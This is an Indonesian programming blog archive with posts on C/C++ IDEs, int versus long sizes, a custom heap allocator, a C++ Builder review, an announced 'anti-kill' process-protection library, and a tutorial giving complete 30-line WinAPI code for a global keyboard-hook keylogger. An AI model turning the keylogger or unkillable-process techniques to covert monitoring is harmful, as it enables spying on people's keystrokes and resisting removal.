Tampilkan postingan dengan label C. Tampilkan semua postingan
Tampilkan postingan dengan label C. Tampilkan semua postingan

Rabu, 21 Juni 2017

Software Untuk Belajar C / C++

Bahasa pemrograman C dan C++ telah hadir dari generasi ke generasi. Kehandalannya sudah tidak diragukan lagi. Kegunaannya meluas dari yang awalnya sebatas desktop programming, merambah hingga platform mobile, embedded-device hingga mikrokontroler. Itu mengapa bahasa ini tetap eksis sampai sekarang.

Untuk membuat program dengan bahasa C, sebenarnya kita tidak butuh software macam-macam. Cukup compiler, linker dan sebuah editor teks. Tapi, jika cuma begitu pemrograman akan terasa membosankan. Kita perlu software IDE (Integrated Development Environment) untuk membantu kita.

Biasanya IDE menyediakan syntax highlighting, sehingga memudahkan kita dalam membaca kode. Bukan hanya itu, IDE secara otomatis mengintegrasikan program dengan compiler yang akan digunakan, lupakan compile dengan terminal/command line, cukup klik sini dan klik sana dari IDE untuk mengompile kode dan me-link objek menjadi program.

Berikut adalah daftar software IDE yang bisa kita gunakan untuk mempelajari C/C++.

1. Codeblocks
Software ini saya lihat cukup populer di grup pemrograman C. Tampilannya sederhana, namun dengan fitur dan plugin lengkap, sngat cocok untuk yang baru mulai belajar. Yang membuatnya lebih mantap, Codeblocks juga tersedia untuk platform Linux.



2. Codelite
Yang satu ini adalah favorit saya. Fitur dan pluginnya lengkap dibanding Codeblocks. Selain bagus untuk pemrograman C/C++, Codelite juga bisa digunakan sebagai IDE pemrograman PHP dan Node.js. Kalau dari perspektif saya, tampilan Codelite lebih user-friendly dibanding Codeblocks. Kabar baiknya, Codelite juga tersedia untuk Linux, sama seperti Codeblocks.


3. Pelles C
Kalau kalian cuma ingin belajar C saja, tanpa C++, Pelles C juga cukup bagus. Ukurannya kecil dibanding IDE lain. Tampilannya lumayan memadahi dan bebas lemot.

4. Visual C++
Bagi yang serius belajar C/C++ di Windows, Visual C++ bisa menjadi pilihan paling tepat. Fitur software ini adalah yang paling lengkap diantara yang lain. Tidak mengherankan, karena pengembangannya disupport oleh perusahaan kelas kakap, yakni Microsoft.


5. C++ Builder
Tidak kalah dengan Visual C++, C++ builder juga dipersembahkan dengan rapi oleh Borland. Kini diakuisisi oleh Embarcadero. Fiturnya juga mantap, selevel dengan Visual C++. IDE ini sangat cocok bagia kalian yang mulai fokus menggarap project C++ berbasis GUI. Meski Visual C++ juga menyediakan RAD tool untuk desain GUI, RAD tool yang ada di C++ builder jauh lebih mudah digunakan.


Lainnya?
Ada juga IDE lain yang belum pernh dicoba sepenuhnya oleh penulis. Jika ingin mencobanya, silahkan saja. Namun penulis sama sekali tidak merekomendasikan. Apalagi list software berikutnya ini belum banyak dipakai di lingkungan programmer Indonesia.

6. Geany
7. Eclipse CDT
8. Netbeans
9. JetBrains CLion
10. GNAT Programming Studio
11. Qt Creator

Ada yang punya saran IDE lain?
Jika tidak, demikianlah artikel singkat mengenai kumpulan software untuk belajar C / C++. Mudah-mudahan kedepannya artikel ini dapat memberikan manfaat bagi pembaca. Sekian, terima kasih sudah berkunjung.
Read more

Sabtu, 17 Juni 2017

Perbedaan Type Data INT dan LONG di C / C++

Tipe data kadang harus dipilih dengan benar agar, efisiensi memori dapat tercapai. Pemilihannya tergantung pada kemungkinan nilai terkecil dan terbesar yang akan muncul saat program berjalan / runtime.

Sementara itu, bahasa C memiliki beberapa tipe data standar untuk menyimpan bilangan berjenis integer / bilangan bulat.

TypeStorage sizeValue range
char1 byte-128 to 127 or 0 to 255
unsigned char1 byte0 to 255
signed char1 byte-128 to 127
int4 bytes-2,147,483,648 to 2,147,483,647
unsigned int2 or 4 bytes0 to 65,535 or 0 to 4,294,967,295
short2 bytes-32,768 to 32,767
unsigned short2 bytes0 to 65,535
long4 bytes-2,147,483,648 to 2,147,483,647
unsigned long4 bytes0 to 4,294,967,295
Sumber : https://www.tutorialspoint.com/cprogramming/c_data_types.htm

Tidak ada yang aneh dengan semua tipe data pada tabel di atas, kecuali INT dan LONG yang memiliki ukuran penyimpanan sama (4 bytes). Anehnya lagi, referensi juga bisa mengatakan bahwa INT bisa berukuran serupa SHORT (2 byte). Bagaimana? dan; Mengapa?

Mengenai keanehan kedua, tidak perlu dikhawatirkan lagi. Ukuran INT hanya 2 byte saat masih banyak prosesor 16-bit bertebaran. Sementara sekarang, 32-bit kian menguasai pasar, sehingga hampir dapat dipastikan bahwa INT selalu berukuran 4 byte.

Sebenarnya, dari semua type data di atas; ketentuan value range merupakan ketentuan yang di atur oleh standarisasi C. Meski pada umumnya INT berukuran 4 byte di prosesor 32-bit, ukurannya bisa berbeda jika program dicompile dengan compiler atau arsitektur prosesor lain. Misalnya, banyak yang mengatakan INT dapat menampung data antara -2,147,483,648 hingga 2,147,483,647. Namun itu bukan berarti INT selalu berukuran 4 byte. Compiler bisa memilih 4 byte, 8 byte, bahkan 16 byte; selama mungkin dilakukan dan ukuran byte tersebut mampu menampung data antara  -2,147,483,648 hingga 2,147,483,647.

Pernyataan di atas semakin diperkuan dengan referensi yang penulis peroleh dari Wikipedia; bahwa, ukuran byte dari tipe data dapat bervariasi pada implementasinya. Jadi, hati-hati saat menggunakan tipe data antara INT dan LONG. Menurut standarisasi bahasa C, keduanya dianjurkan agar dapat menampung data antara -2,147,483,648 hingga 2,147,483,647. Sehingga umumnya variabel ini sama-sama berukuran 4-byte. Namun, kadang tipe LONG bisa berukuran 4 byte saat program dicompile pada prosesor 64-bit.

Sebagai contoh kasus, saya menemukan referensinya dari sini, katanya :
For 32-bit systems, the 'de facto' standard is ILP32 — that is, int, long and pointer are all 32-bit quantities.

For 64-bit systems, the primary Unix 'de facto' standard is LP64 — long and pointer are 64-bit (but int is 32-bit). The Windows 64-bit standard is LLP64 — long long and pointer are 64-bit (but long and int are both 32-bit).

Lalu apa?
Saran dari saya, jika anda sangat mementingkan efisiensi penyimpanan data dan anda ingin menyimpan data antara -2,147,483,648 hingga 2,147,483,647; gunakan tipe INT, karena secara umum implementasinya selalu menggunakan variabel berukuran 4 byte.

Apa pentingnya?
Anda mungkin belum menduga betapa pentingnya hal ini. Beberapa project yang saya kerjakan adalah poject open source, tentu saja harus ada jaminan kode ini bisa dicompile rang lain. Beberapa implementasi kode harus mengikuti dokumen standar yang telah ditetapkan. Seringnya, dokumen mengatakan secara implisit bahwa tipe data yang harus digunakan berukuran 4 byte. Nah, jika menemukan hal demikian INT adalah yang sesuai untuk dipakai, karena meski ukuran LONG di compiler saya 4 byte, ukurannya bisa berlainan di komputer atau compiler lain.

Read more

Sabtu, 18 Februari 2017

Membuat Keylogger Dengan Bahasa C Dan WINAPI (Simple, 30 Baris Kode)


Keylogger adalah program yang dirancang khusus untuk melakukan monitor aktivitas keyboard dan terkadang juga disertai modifikasi data input untuk tujuan tertentu. Selama ini banyak orang cenderung menginterpretasikan keylogger sebagai program negatif yang merugikan. Padahal ada banyak sekali manfaat yang bisa diperoleh dari implementasi fitur keylogger semacam ini. Misalnya, jika bisa kreatif, coba untuk membuat progra untuk mencegah penulisan kata kotor, atau mencegah anak mengetik alamat web yang tidak pantas diakses. Keren bukan?

Membuat keylogger adalah mudah jika kita tahu dasar-dasar Windows API. Walaupun tidak, MSDN memiliki dokumen lengkap yang bisa diakses setiap waktu untuk mempelajari setiap elemen dasar fungsi API Windows. Begitu juga dengan tulisan ini, sebagian besar penjelasannya mengutip dokumentasi MSDN. Nanti, saya juga akan sertakan link sumbernya, agar kalian juga dapat mempelajari sumber aslinya lebih detail. Harapan saya, tutorial ini bisa menjadi rujukan, sekaligus inspirasi untuk project kalian selanjutnya.

Berikut ini adalah 30 baris kode yang hasilnya sudah dapat berjalan sebagai keylogger sederhana.

#include <stdio.h>
#include <windows.h>

LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){
 DWORD type;
 KBDLLHOOKSTRUCT *hooks;
 if(nCode == HC_ACTION){
  type = (DWORD) wParam;
  hooks = (KBDLLHOOKSTRUCT *) lParam;
  if (type == WM_KEYDOWN) printf("%c",hooks->vkCode);
  if (hooks->vkCode == 0x51) PostQuitMessage(0);
 }
 return CallNextHookEx(NULL, nCode, wParam, lParam);
}

HHOOK hooker;
int main(){
 hooker = SetWindowsHookEx(WH_KEYBOARD_LL,
  &LowLevelKeyboardProc,
  NULL,
  0
 );
 if(!hooker) printf("Error register hook\n");
 MSG msg;
 while (GetMessage(&msg, NULL, 0, 0)) {
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }
 UnhookWindowsHookEx(hooker);
}

Sebuah keylogger memanfaatkan salah satu fitur internal Windows, yaitu hook. Mekanisme hook bekerja layaknya filter yang dipasang untuk menyaring data yang dikehendaki. Sebuah hook juga dapat berperan layaknya pipa, ia hanya perlu memonitor setiap data yang terlintas, seperti inilah cara keylogger bekerja.


Install Hook
Di Windows, hook dibuat dengan SetWindowsHookEx() dan dihentikan dengan UnhookWindowsHookEx().

HHOOK WINAPI SetWindowsHookEx(
 int       idHook,
 HOOKPROC  lpfn,
 HINSTANCE hMod,
 DWORD     dwThreadId
);

Parameter idHook adalah jenis hook yang ingin kamu pasang. Di sini ada beberapa varian hook yang bisa digunakan, misal WH_CALLWNDPROC untuk memfilter Window event, dan WH_MOUSE untuk memfilter aktivitas mouse. Sedangkan untuk keylogger, WH_KEYBOARD_LL adalah pilihan yang tepat.

Kemudian parmeter lpfn harus merujuk sebagai pointer kepada fungsi callback yang kita sediakan untuk melakukan filter/monitoring. Setiap jenis id hook akan memiliki bentuk fungsi yang berbeda. Untuk melihat referensi lengkap tentang bentuk fungsi callback tiap id hook, lihat MSDN. Di bawah nanti anda juga bisa melihat bagaimana bentuk callback untuk WH_KEYBOARD_LL.

Terakhir ada 2 parameter yang tidak terlalu penting untuk dibahas detail sekarang. Singkatnya hMod adalah nilai handle DLL, apabila hook dibuat dari shared library; dwThreadId adalah id thread pembuat hook. Kedua nilai ini bisa dikosongi jika program kita tidak berhubungan dengan shared library dan thread.

Jika fungsi berhasil membuat hook, nilai yang dikembalikan berupa handle hook yang nilainya dapat dipastikan bukan 0.
Ref: https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx


Uninstall Hook
Setelah selesai, gunakan fungsi unhook seperti berikut ini, dengan argumen hhk berupa handle ke hook yang dibuat sebelumnya. Meski saat program keluar, hook akan otomatis terhapus, melepas hook secara manual sebelum program keluar sangatlah dianjurkan.

BOOL WINAPI UnhookWindowsHookEx(
 HHOOK hhk
);


Hook Run-time
Contoh program dalam tulisan ini bekerja sebagai program konsol. Meski begitu, sebenarnya hook hanya dianjurkan untuk program desktop dengan tampilan GUI saja. Agar hook dapat bekerja, beberapa baris kode berikut harus ditambahkan.

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
 TranslateMessage(&msg);
 DispatchMessage(&msg);
}

Tanpa kode di atas, hook tidak akan bekerja pada program konsol. Pada kode di atas fungsi GetMessage() akan terus memproses window event dari sistem secara loop. Event ini terjadi ketika sebuah window menerima input dari user ataupun sistem, misalnya saja ketika kita mengetik dan mengklik di area window tersebut.

Sebuah pesan umumnya berasal dari keyboard. Fungsi TranslateMessage() bertugas memproses data mentah keyboard ini ke bentuk yang siap diproses oleh program. Sedangkan DispatchMessage() bertugas untuk mengirimkan pesan data ini kepada yang membutuhkan. Nah, dari sini jugalah data keylogger dikirim, sehingga WAJIB hukumnya untum mengeksekusi fungsi ini.

Ketika program mendapat instruksi untuk berhenti, GetMessage() akan mengembalikan nilai 0 (FALSE). Saat iniah kita harus menghentikan hook dan mengeluarkan program.
Ref : https://msdn.microsoft.com/en-us/library/windows/desktop/ms644936(v=vs.85).aspx


Hook Callback
Dibawah ini adalah bentuk fungsi callback untuk WH_KEYBOARD_LL, berikut penjelasan setiap parameternya.

LRESULT CALLBACK LowLevelKeyboardProc(
 int    nCode,
 WPARAM wParam,
 LPARAM lParam
);

Pertama, nCode adalah kode yang menentukan bagaimana callback harus memproses parameter wParam dan lParam. Menurut MSDN, apabila nCode < 0, callback harus memanggil CallNextHook() TANPA memproses wParam dan lParam. Kemudian segera mengembalikan nilai yang dihasilkan oleh CallNextHook() sebagai return value.

Kedua, wParam menunjukkan jenis pesan yang harus diproses. Nilainya dapat berupa salah satu dari nilai berikut : WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, atau WM_SYSKEYUP.

Ketiga, lParam menunjuk ke struktur KBDLLHOOKSTRUCT. Dari struktur data ini, kita bisa mngetahui tombol mana yang sedang ditekan atau dilepas.

typedef struct tagKBDLLHOOKSTRUCT {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;


Misalnya, jika wParam = WM_KEYDOWN dan wParam->vkCode = 0x41 (tombol A), artinya A sedang ditekan. Namun, jik wParam = WM_KEYUP, artinya tombol tersebut sedang dilepaskan.
Kode berikut akan mencetak karakter hanya apabila tombol ditekan. Apabila tombol Q ditekan, fungsi PostQuitMessage() dipanggil untuk memberikan instruksi pmberhentian program. Fungsi inilah yang akan memicu GetMessage() mengembalikan 0 dan segera bergenti dari loop.
Ref. Hook struct : https://msdn.microsoft.com/en-us/library/windows/desktop/ ms644967(v=vs.85) .aspx
Ref. vkCode : https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
Ref. Msg : https://msdn.microsoft.com/en-us/library/windows/desktop/ff468870(v=vs.85).aspx

if(nCode == HC_ACTION){
 type = (DWORD) wParam;
 hooks = (KBDLLHOOKSTRUCT *) lParam;
 if (type == WM_KEYDOWN) printf("%c",hooks->vkCode);
 if (hooks->vkCode == 'Q') PostQuitMessage(0);
}

Ada satu fungsi yang belum kita bahas, CallNextHookEx(). Pada dasarnya, setiap program memiliki hook default yang terpasang untuk memperoleh pesan dari sistem. Jadi pendaftaran hook akan bekerja dengan menambahkan hook tambahan baru yang diproses secara manual oleh program. Dengan memanggil CallNextHook(), artinya kita akan memanggil hook default yang memerlukan. Sebagai contoh, jika fungsi ini tidak dipanggil dengan benar, program lain tidak akan dapat menerima input keyboard sampai program pemilik hook ini berhenti.

LRESULT WINAPI CallNextHookEx(
 HHOOK  hhk,
 int    nCode,
 WPARAM wParam,
 LPARAM lParam
);

Ref : https://msdn.microsoft.com/en-us/library/windows/desktop/ms644974(v=vs.85).aspx
Namakan kode sebagai keylog.c, lalu build sebagai exe dengan perintah:
gcc keylog.c -o keylog.exe

Hasinya...


Read more

Jumat, 03 Februari 2017

Contoh Dynamic Memory Allocation Dengan Doubly-linked List, First-fit & Auto Left-Right Join [Part 4]


Bagian terakhir ini akan membahas tentang pembebasan memori ( Free() ). Fungsi free() sejatinya hanya mengubah field state kembali ke 0. Tapi karena tanggung jawabnya, alokator harus mengurus masalah fragmentasi internal. Ia harus memeriksa field bebas lain di sebelah kiri dan kanan chunk yang sedang dibebaskan. Apabila bebas, salah satu atau keduanya harus segera digabungkan.

int Free(void *addr){
HCHUNK *c,*p,*n;
c = (HCHUNK*)((ulong)addr - sizeof(HCHUNK));
if(c->magic != CMAGIC) return ­1;
if(c->state == 0) return ­2;
c->state = 0;
p = c->prev;
n = c->next;
if(n){
if(n->state == 0){
c->size += sizeof(HCHUNK) + n->size;
c->next = n->next;
if(n->next) n->next->prev = c;
}
}

if(p){
if(p->state == 0){
p->size += sizeof(HCHUNK) + c->size;
p->next = c->next;
if(c->next) c->next->prev = p;
}
}
return 0;
}

Proses pembebasan dan penggabungan dibantu dengan 3 buah variabel pointer

HCHUNK.
HCHUNK *c,*p,*n;

c merujuk pada HCHUNK dari alamat chunk yang sedang dibebaskan; p dan n merujuk ke chunk sebelah kiri (previous) dan kanan (next) dari chunk yang sedang dibebaskan.

Argumen addr dari fungsi ini berupa pointer chunk yang telah dialokasikan oleh Malloc() sebelumnya. Untuk mengetahui HCHUNK dari alamat tersebut, kurangi alamat addr dengan ukuran struktur HCHUNK.

c = (HCHUNK*)((ulong)addr - sizeof(HCHUNK));

Pastikan alamat chunk dari argumen addr adalah benar. Jika salah, dapat dipastikan nilai magic dari HCHUNK tidak akan bernilai valid. Jika jelas validitasnya, lanjut periksa juga field state. Jangan sampai kita menyiakan waktu untuk membebaskan chunk yang sudah bebas (state == 0).

if(c->magic != CMAGIC) return ­1;
if(c->state == 0) return ­2;

Cukup sudah. Sekarang bebaskan chunk ini.

c->state = 0;

2 langkah terakhir adalah prosedur penggabungan. Ambil pointer kedua chunk sampingnya dari field prev dan next.

p = c->prev;
n = c->next;

Mulai penggabungan dari chunk sebelah kanan. Dan lanjutkan dengan chunk sebelah kiri.

if(n){
if(n->state == 0){
c->size += sizeof(HCHUNK) + n->size;
c->next = n->next;
if(n->next) n->next->prev = c;
}
}
if(p){
if(p->state == 0){
p->size += sizeof(HCHUNK) + c->size;
p->next = c->next;
if(c->next) c->next->prev = p;
}
}

Nilai n dapat bernilai 0 apabila chunk yang baru saja dibebaskan adalah chunk terakhir. Jadi sebelum memeriksa state dari chunk n, pastikan dulu n bukan 0. Penggabungan dilakukan dengan 2 tahapan; update ukuran chunk pada field size chunk c dengan menambahkannya ukuran dari chunk n. Karena HCHUNK untuk n tidak terpakai lagi, kita juga menambahkan ukuran sejumlah ukuran struktur HCHUNK ( sizeof(HCHUNK) ) pada ukuran chunk c yang baru; kedua, update field next dari c, sehingga link antar chunk akan menjadi seperti di bawah ini.

Lakukan juga hal sama pada p dengan cara seperti sebelumnya.



Debugging
Untuk keperluan pengecekan, saya sudah buatkan fungsi dumper sederhana untuk mencetak properti semua chunk dalam HMALLOC. Kode ini self-explained, ya.

void HMallocDump(HMALLOC *h){
HCHUNK *c = h->first;
printf("HMALLOC Dump:\n");
while(c){
printf("HCHUNK size 0x%x state %x at 0x%x \
   prev 0x%x next 0x%x\n",
c->size,c->state,c, c->prev,c->next);
c = c->next;
}
}


Contoh Hasil
Hasil berikut adalah contoh implementasi Malloc() di kernel JauraOS.
https://github.com/irvanherz/jaura



Read more

Kamis, 02 Februari 2017

Contoh Dynamic Memory Allocation Dengan Doubly-linked List, First-fit & Auto Left-Right Join [Part 3]


Bagian ini akan khusus membahas tentan proses alokasi ( Malloc() ). Sistematika kerja alokator dalam mengalokasikan memori sudah diketahui dari gambar ilustrasi yang kita lihat sebelumnya. Pada prakteknya, ada sedikit penjabaran yang harus diperhatikan. Alokator melakukan alokasi dari fungsi Malloc() yang kita buat. Pencarian mulai dilakukan dari melihat HCHUNK pertama yang ditunjukkan oleh field first pada HMALLOC dan mengikuti pointer next pada HCHUNK hingga ditemukan hasil. Apabila tidak ada chunk bebas yang memiliki ukuran cukup, fungsi harus mengembalikan 0.

for(HCHUNK *c = m­->first; c != 0; c = c-­>next){
//Check chunk (*c)
}
return 0;

Setiap chunk yang diperiksa melewati beberapa urutan tahap uji sebagai berikut.
1. Jika chunk→magic salah, gagalkan fungsi
2. Jika chunk→state = 1 (allocated), lewati dan lanjutkan memeriksa chunk berikutnya(chunk→next).
3. Jika chunk→size < size yang diminta (not enough), lanjutkan memeriksa chunk berikutnya(chunk→next).
4. Jika chunk→size == size dan chunk→size <= size + sizeof(HCHUNK) (size was fit), langsung alokasikan chunk ini sebagai hasil. Kondisi “chunk→size <= size + ukuran HCHUNK” harus diperiksa, karena jika chunk bebas melebihi yang diminta, kita hanya boleh mengambil sebagian chunk yang cukup, sisanya harus dibuat chunk yang baru (dibuat pada kondisi 5). Sebelum memutuskan buat yang baru, kondisi ini diperiksa untuk memastikan apakah sisa chunk cukup untuk menyimpan header HCHUNK dan minimum chunk sebesar 1 byte. Jika tidak, sebaiknya kita ikutkan saja sisanya sebagai hasil.
5. Apabila tidak masuk kondisi 3 auatupun 4, artinya chunk terlalu besar (size bigger), alokator harus melakukan pemecahan chunk menjadi 2 bagian. Satu bagian sebagai hasil alokasi dan sisanya dibuat untuk dibiarkan dalam kondisi bebas.

void *Malloc(HMALLOC *m,uint size){
for(HCHUNK *c = m-­>first; c != 0; c = c-­>next){
if(c­->magic != CMAGIC){
printf("FATAL:Broken malloc!\n");
return 0;
}
if(c-­>state == 1) continue;
else if(c-­>size < size) continue;
else if((c-­>size >= size) &&
  (c­->size <= size + sizeof(HCHUNK))) {
c-­>state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}
else {
HCHUNK *newc;
newc = (HCHUNK*)((ulong)c + sizeof(HCHUNK) + size);
newc­->magic = CMAGIC;
newc­->state = 0;
newc­->size = c­->size - size - sizeof(HCHUNK);
newc­->prev = c;
newc­->next = c-­>next;
c­->next = newc;
c­->size = size;
c­->state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}
}
return 0;
}

Periksa kondisi 1
if(c­->magic != CMAGIC){
printf("FATAL:Broken malloc!\n");
return 0;
}

Periksa kondisi 2
if(c-­>state == 1) continue;

Periksa kondisi 3
else if(c­->size < size) continue;

Periksa kondisi 4
else if((c->size >= size) && (c->size <= size + sizeof(HCHUNK))) {
c->state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}

Kondisi 5
else {
HCHUNK *newc;
newc = (HCHUNK*)((ulong)c + sizeof(HCHUNK) + size);
newc-­>magic = CMAGIC;
newc­->state = 0;
newc­->size = c->size - size - sizeof(HCHUNK);
newc­->prev = c;
newc­->next = c->next;
c­->next = newc;
c­->size = size;
c-­>state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}

Kondisi 5 adalah kondisi yang sedikit membutuhkan logika. Sederhananya, proses untuk menangi kondisi 5 sesuai dengan ilustrasi di bawah ini. Sederhana memang, namun yang sedikit membingungkan adalah mengatur prev dan next agar tetap terhubung satu sama lain.

Sebelum terpecah

Sesudah terpecah

Read more

Contoh Dynamic Memory Allocation Dengan Doubly-linked List, First-fit & Auto Left-Right Join [Part 2]


Penerapan alokator akan membutuhkan 2 struktur data untuk mentracking seluruh aktivitas alokasi. Struktur yang pertama adalah header HMALLOC. Di dalamnya, terdapat informasi mengenai ukuran dari seluruh blok memori yang tersedia dan potongan chunk memori pertama yang berada dalam blok tersebut. Penempatan HMALLOC akan selalu dilakukan di bagian paling awal dari blok, sebelum deretan chunk beserta headernya. Ukuran blok total dan kapasitas maksimum dari chunk itu sendiri akan kita tentukan saat inisialisasi.


Berikut adalah wujud struktur HMALLOC yang ditulis dalam C.

typedef struct _HMALLOC{
uint size;
HCHUNK *first;
}HMALLOC;

Sementara itu, struktur header yang akan selalu terpasang pada setiap awal chunk akan kita sebut sebagai HCHUNK. Struktur ini mendeskripsikan informasi pokok dari chunk yang diwakilinya.

typedef struct _HCHUNK {
int magic;
uint size;
char state;
struct _HCHUNK *prev,*next;
} HCHUNK;

Bagian unik dari HCHUNK adalah field magic. Nilainya akan selalu sama bagi setiap struktur HCHUNK. Kita akan membuat nilainya seunik mungkin. Nilai ini akan kita didefinisakan sebagai CMAGIC.

#define CMAGIC 0xBEDABEDA

Ketika program mengalami kesalahan saat mengakses blok lain, header dapat ter-overwrite, sehingga tak valid lagi. Jika dibiarkan, alokator justru akan berpotensi merusak sistem. Untuk itu, alokator akan menggagalkan alokasi memori saat ditemukan nilai magic yang salah. Saat program gagal mengalokasikan memori, program biasanya akan selalu memeriksa hasil alokasi dan membuat notifikasi ke user apabila terjadi kegagalan, jadi jangan kawatir.

Selanjutnya, field size adalah ukuran dari chunk memori yang diwakili oleh header. Ingat, hanya ukuran chunk saja, tanpa ukuran header. Lalu, field state bertugas memberitahu alokator, apakah field yang diwakili HCHUNK masih bebas atau sudah teralokasi. Nilainya 0 akan dianggap bebas, atau BUKAN 0 apabila teralokasi. Terakhir, field prev dan next adalah 2 buah pointer doubly-linked list yang akan mengarahkan ke struktur HCHUNK disampingnya. Alokator akan menelusuri pointer ini untuk mencari chunk memori yang dapat dialokasikan.

Inisialisasi
Persiapan dilakukan dengan mengatur nilai HMALLOC di dalam blok. Awalnya, sistem harus menyediakan blok memori untuk keperluan alokasi. Fungsi MallocInit() berikut akan memproses blok dari parameter alamat addr dan ukuran size yang diberikan.

HMALLOC *MallocInit(void *addr, uint size){
HMALLOC *m;
if(size <= sizeof(HMALLOC) + sizeof(HCHUNK))
return 0;
m = (HMALLOC *) addr;
m->first = (HCHUNK*) ((ulong)addr + sizeof(HMALLOC));
m->size = size;
m->first->magic = CMAGIC;
m->first->state = 0;
m->first->size = size - sizeof(HMALLOC) - sizeof(HCHUNK);
m->first->prev = m->first->next = 0;
return m;
}

Pertama, periksa apakah blok yang diberikan sudah cukup untuk menyimpan sebuah HMALLOC dan chunk awal sebesar minimal 1 byte, jangan lupa beserta header HCHUNKnya. Jika tidak, fungsi ini harus mengembalikan error.

if(size <= sizeof(HMALLOC) + sizeof(HCHUNK))
return 0;

Letakkan HMALLOC di bagian paling depan dari blok. Lengkapi juga isi tiap fieldnya. Setelah itu chunk pertama (m->first) juga akan dibuat tepat setelah header HMALLOC.

m = (HMALLOC *) addr;
m->first = (HCHUNK*) ((ulong)addr + sizeof(HMALLOC));
m->size = size;

Lalu atur semua nilai field dari HCHUNK untuk chunk pertama. Tentu saja, chunk ini harus dalam keadaan bebas(state = 0). Ukuran chunk akhirnya diketahui dari ukuran argumen size yang dikurangi dengan ukuran header HMALLOC dan ukuran header HCHUNK pertama.

m->first->magic = CMAGIC;
m->first->state = 0;
m->first->size = size - sizeof(HMALLOC) – sizeof(HCHUNK);

Masih HCHUNK pertama kali, jadi, biarkan field next dan prev kosong dulu.

m->first->prev = m->first->next = 0;

Terakhir, kembalikan pointer ke struktur HMALLOC valid yang sudah dibuat. Karena HMALLOC berada di awal blok, alamat HMALLOC yang berhasil dibuat bisa dipastikan == argumen addr. Nantinya, pointer ini akan dijadikan parameter saat alokasi, sehingga alokator tahu, blok mana yang harus diproses dan dimana ia harus menemukan chunk-chunk nya.

return m;

Read more

Jumat, 27 Januari 2017

Membuat Program Tidak Bisa Di-Kill Task Manager dengan LIBAK (Anti Kill Library)

Program firewall dan antivirus bukan hanya harus melindungi komputer klien dari virus. Itu saja masih belum cukup, ia harus bisa melindungi dirinya sendiri dari serangan virus itu sendiri. Kadang kala, virus jahil bisa mencoba membunuh proses antivirus sebelum si antivirus dapat membasminya.


LIBAK (Anti Kill Library) adalah shared library/dynamic link library yang baru saja dikembangkan oleh Komputoo untuk mengatasi permasalahan ini. Dengan sedikit bumbu rahasia, LIBAK dapat membantu program firewall anda dari serangan musuh.

LIBAK API
LIBAK sangat sederhana, namun handal, hanya ada 2 fungsi dan satu buah struktur data yang harus anda pahami untuk melindungi program anda.

PROTECTDATA Structure
Data ini berguna untuk menyimpan sesi proteksi yang telah dilakukan. Tidak penting untuk mengetahui isi struktur data ini, karena ini berkaitan dengan sistem kerja internal LIBAK.

typedef struct {
DWORD magic;
char oldtkprivs[0x1000];
} PROTECTDATA;

Protect() Function
Fungsi ini akan membuat program anda terlindungi dari pemberhentian paksa (kill), baik itu dari task manager ataupun dari metode lainnya.

BOOL Protect(PROTECTDATA *p);

Fungsi ini membutuhkan sebuah parameter berupa pointer ke PROTECTDATA yang sudah disediakan sebelumnya. Jika fungsi berhasil, akan dihasilkan return value selain 0. Begitu sebaliknya.

Unprotect() Function
Kebalikan dari fungsi Protect(), fungsi ini akan mengembalikan state program anda ke keadaan normal.

BOOL Unprotect(PROTECTDATA *p);

Parameter yang diperlukan adalah struktur ke PROTECTDATA yang sebelumnya sudah digunakan pada saat pemanggilan Protect(). Jika berhasil, nilai return value adalah selain 0.

EXAMPLE
Berikut contoh program sederhana yang mencoba mengimplemenasikan LIBAK API.

/** *
  * LIBAK demo
  * Build with : gcc test.c libak.dll -o test.exe
  * **/
#include <stdio.h>
#include <conio.h>
#include "libak.h"

PROTECTDATA pd;
int main(){
if( !Protect(&pd) ){
printf("Protect failed\n");
exit(0);
}
printf("Now kill me if you can!\n");
getch();
if( !Unprotect(&pd) ){
printf("Unprotect failed\n");
exit(0);
}
printf("Now you can kill me\n");
getch();
}



NOTES
  • Unprotect() HARUS dipanggil sebelum keluar program. Jika tidak, BSOD.
  • Untuk menggunakan LIBAK, program anda harus berjalan sebagai administrator.
  • LIBAK hanya tersedia untuk keperluan non-komersil, penggunaannya harus disertai dengan teks lisensi.
  • Untuk keperluan komersil dan distribusi selain dalam bentuk dynamic link library (misal static library yang di-embed bersama program), harap hubungi admin.
  • Versi non-komersil hanya menyediakan header dan contoh untuk C.
  • Versi non-komersil hanya tersedia untuk Windows 7/8/8.1/10;
DOWNLOAD
LIBAK 1.0 (Free)
Password: komputoo


Read more

Selasa, 10 Januari 2017

Inilah Kenapa Saya Suka Embarcadero C++ Builder 10.1 Berlin Starter Edition

Puas sekali rasanya setelah menginstall Embarcadero C++ Builder 10.1 Berlin Starter Edition ini. Mengapa? Rasanya sudah lama sekali saya ingin membuat program native dengan C++ dengan dimanjakan RAD tool untuk mendesain GUI. Tak disangka-sangka, hari ini saya menemukan impian yang sudah lama saya pendam ini. hehehe
embarcadero c++ builder icon

Tak dipungkiri, memang Visual Studio adalah IDE terbaik untuk pemrograman. Namun saya sedikit kecewa mengetahui kenyamanan RAD tool yang harus dibayar dengan output build yang bersifat non-native. Mau tak mau, aplikasi seperti ini harus dibayar dengan dependensi terhadap runtime -- .NET Framework.

Tidak ada yang salah dengan .NET. Hanya saja, dari sini saya merasa ada ketidak-konsistenan Microsoft untuk memberikan layanan prima bagi penggunanya. Ini terlihat dari banyaknya versi .NET yang ada. Setiap aplikasi biasanya dibangun dengan framework versi tertentu. Yang menjengkelkan, versi framework yang digunakan bukanlah ketetapan versi minimum framework untuk menjalankan aplikasi. Namun, framework yang dipilih tersebut terbilang strict untuk program. Jadi, misalnya program dibangun dengan framework versi 2, namun di komputer target hanya ada framework versi 3, user harus menginstall .NET versi 2 juga. Oh, meeen..

